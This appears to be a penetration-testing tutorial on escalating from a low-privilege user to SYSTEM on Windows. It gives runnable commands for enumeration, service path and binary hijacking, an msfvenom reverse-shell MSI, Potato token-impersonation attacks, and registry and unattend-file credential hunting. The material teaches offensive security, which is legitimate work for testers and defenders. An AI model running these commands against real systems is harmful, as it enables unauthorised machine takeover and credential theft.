Getting a foothold on a Windows box is one thing. Getting SYSTEM is another. This post covers the most reliable paths from low-privilege user to SYSTEM or local admin, and how to enumerate your way to finding them.
On Windows, you're typically trying to reach one of two targets: SYSTEM (the highest privilege account, used by the OS itself) or a local Administrator. From there you can dump credentials, move laterally, or accomplish whatever objective brought you here.
As with Linux, misconfiguration is almost always the path. Patched, well-maintained Windows environments are hard to escalate on through exploits alone. But misconfigured services, weak permissions, and forgotten credentials are everywhere.
Start with these before anything else.
whoami
whoami /all
whoami /all is the most important command here. It shows your group memberships and, critically, your token privileges. Look for SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege, SeDebugPrivilege, and SeLoadDriverPrivilege.
net user %username%
net localgroup administrators
systeminfo
This dumps OS version, hostname, installed hotfixes, and network configuration. The hotfix list tells you what patches are missing, which is important for kernel exploit research.
wmic qfe list brief
wmic qfe gives you the same patch list in a slightly cleaner format.
tasklist /v
sc query type= all
wmic service list brief
Look for third-party services, services running as SYSTEM with unusual names, and services whose binary paths look non-standard.
netstat -ano
Note any services listening on localhost that aren't exposed externally.
wmic product get name,version
Or look in the registry:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
| Tool | Notes |
|---|---|
| WinPEAS | The Windows equivalent of LinPEAS. Run it and read the output carefully. |
| PowerUp | PowerShell script focused specifically on privilege escalation vectors. |
| Seatbelt | C# tool from GhostPack. Thorough host enumeration, useful for both red team and defenders. |
Run WinPEAS first. It covers most of the vectors described below automatically.
This is one of the most common findings in Windows environments and is surprisingly easy to miss during hardening reviews.
When Windows starts a service, it needs to locate the binary. If the path to the binary contains spaces and isn't enclosed in quotes, Windows tries multiple interpretations of the path in sequence.
For a service with the binary path:
C:\Program Files\My App\Service\myservice.exe
Windows will try, in order:
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\Service.exe
C:\Program Files\My App\Service\myservice.exe
If you can write to C:\ or C:\Program Files\, you can place a malicious binary at one of those earlier paths, and it gets executed as SYSTEM when the service starts.
Check for vulnerable services:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
Or use sc qc <servicename> to inspect a specific service's configuration:
sc qc "Vulnerable Service Name"
Look for BINARY_PATH_NAME values with spaces and no quotes.
Even when paths are properly quoted, the binary itself might be writable by your current user. If you can overwrite the binary that a SYSTEM service executes, you own SYSTEM.
Use accesschk.exe from Sysinternals to check service binary permissions:
accesschk.exe -uwcv Everyone *
accesschk.exe -uwcv "Users" *
If you can write to the service binary, replace it with your payload (a reverse shell, a user-adding command, whatever you need), then restart the service:
sc stop "VulnerableService"
sc start "VulnerableService"
You can also check whether you have permission to change a service's configuration directly:
accesschk.exe -ucqv "VulnerableService"
If you have SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS, you can redirect the binary path:
sc config "VulnerableService" binpath= "C:\Users\lowpriv\Desktop\shell.exe"
sc start "VulnerableService"
This policy, when enabled, allows MSI installer packages to run with SYSTEM privileges regardless of who is running them. It requires two registry keys to both be set:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 0x1, generate a malicious MSI with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o evil.msi
Transfer it to the target and run it:
msiexec /quiet /qn /i evil.msi
The install runs as SYSTEM, your shell pops as SYSTEM.
When a Windows application loads a DLL, it searches a set of directories in a specific order. If the application doesn't specify a full path to the DLL, Windows searches:
PATH environment variableIf a DLL that an application is trying to load doesn't exist, and one of those search paths is writable by you, you can place a malicious DLL there and it gets loaded by the application.
The practical way to find these: run Process Monitor (if you have GUI access) and filter for Result = NAME NOT FOUND combined with Path ends with .dll. That shows every DLL load that failed. Then check whether you have write access to any of the directories in the search path.
Without GUI access, look for applications with writable directories in their installation folder and cross-reference with known DLL search-order hijacking opportunities.
This is one of the most reliable escalation paths when you're running as a service account.
whoami /priv output showing SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege is basically a green light. These privileges allow a process to impersonate another user's security token, including a SYSTEM token.
IIS, SQL Server, and other Windows services commonly run under accounts that have SeImpersonatePrivilege by design. When you get code execution through a web vulnerability on an IIS server, you'll frequently land with this privilege available.
The "Potato" family of attacks all abuse token impersonation in different ways depending on the Windows version:
| Tool | Works on |
|---|---|
| JuicyPotato | Windows 10 prior to 1809, Server 2019 |
| RoguePotato | Windows 10 1809+, Server 2019+ |
| PrintSpoofer | Windows 10 and Server 2016/2019 |
| GodPotato | Windows Server 2012 through 2022 |
PrintSpoofer is clean and reliable on modern systems:
PrintSpoofer.exe -i -c cmd
All of these work by coercing SYSTEM to authenticate to an endpoint you control, then stealing the resulting SYSTEM token.
Credentials are stored in more places than most people expect.
cmdkey /list
This shows saved credentials in the Windows Credential Manager. If you see domain or server credentials stored here, you can use runas /savecred to execute commands using them:
runas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\output.txt"
Automated Windows installations leave behind configuration files that sometimes contain plaintext or base64-encoded credentials:
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\sysprep\sysprep.xml
C:\Windows\system32\sysprep\sysprep.xml
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Look for DefaultUserName, DefaultPassword, and DefaultDomainName. These are credentials used for automatic login and are stored in plaintext.
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Broad searches like this generate noise but occasionally surface something useful.
Scheduled tasks are Windows' equivalent of cron jobs. Tasks running as SYSTEM or Administrator are interesting if their binary is writable by you.
Enumerate tasks:
schtasks /query /fo LIST /v
The output is verbose. Look for tasks with Run As User: SYSTEM or an admin account, then check whether the binary path is writable:
icacls "C:\path\to\task\binary.exe"
If you have write access, replace the binary with your payload.
When nothing else works, check what patches are missing.
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic qfe get Caption,Description,HotFixID,InstalledOn
Some notable privilege escalation CVEs:
| CVE | Name | Description |
|---|---|---|
| MS16-032 | Secondary Logon Service | Race condition in the secondary logon service. Works on most Windows versions pre-2016. |
| MS14-058 | Win32k.sys | Kernel-mode driver vulnerability. Old but still appears on ancient systems. |
| CVE-2021-1675 | PrintNightmare | Remote code execution via Windows Print Spooler. Also works locally. |
| CVE-2020-0787 | BITS | Background Intelligent Transfer Service privilege escalation. |
Windows Exploit Suggester automates the matching:
# On your local machine:
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt
The same caveat as Linux: kernel exploits can cause instability. In a live environment, treat them as last resort. In practice, unquoted service paths, token impersonation, or stored credentials resolve the vast majority of Windows escalation scenarios without touching the kernel.
Work through this in order:
whoami /all and look for exploitable privileges (SeImpersonate, SeDebug)sudo -l equivalent: net localgroup administrators, check if you're already closer to admin than you thoughtThe quickest win, by far, is usually SeImpersonatePrivilege plus a Potato attack, or a misconfigured service. Check those first.